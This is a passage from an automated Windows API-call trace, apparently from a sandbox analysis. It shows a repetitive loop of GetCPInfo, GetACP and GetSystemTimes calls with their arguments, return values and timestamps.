lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.039] GetACP () returned 0x4e4 [0051.039] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.040] GetACP () returned 0x4e4 [0051.040] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.041] GetACP () returned 0x4e4 [0051.041] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.042] GetACP () returned 0x4e4 [0051.042] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.043] GetACP () returned 0x4e4 [0051.043] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.044] GetACP () returned 0x4e4 [0051.044] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.045] GetACP () returned 0x4e4 [0051.045] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.046] GetACP () returned 0x4e4 [0051.046] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.047] GetACP () returned 0x4e4 [0051.047] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.047] GetACP () returned 0x4e4 [0051.047] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.047] GetACP () returned 0x4e4 [0051.047] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.047] GetACP () returned 0x4e4 [0051.047] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.047] GetACP () returned 0x4e4 [0051.047] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.047] GetACP () returned 0x4e4 [0051.047] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.047] GetACP () returned 0x4e4 [0051.047] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.047] GetACP () returned 0x4e4 [0051.047] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.048] GetACP () returned 0x4e4 [0051.048] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.048] GetACP () returned 0x4e4 [0051.048] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.048] GetACP () returned 0x4e4 [0051.048] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.048] 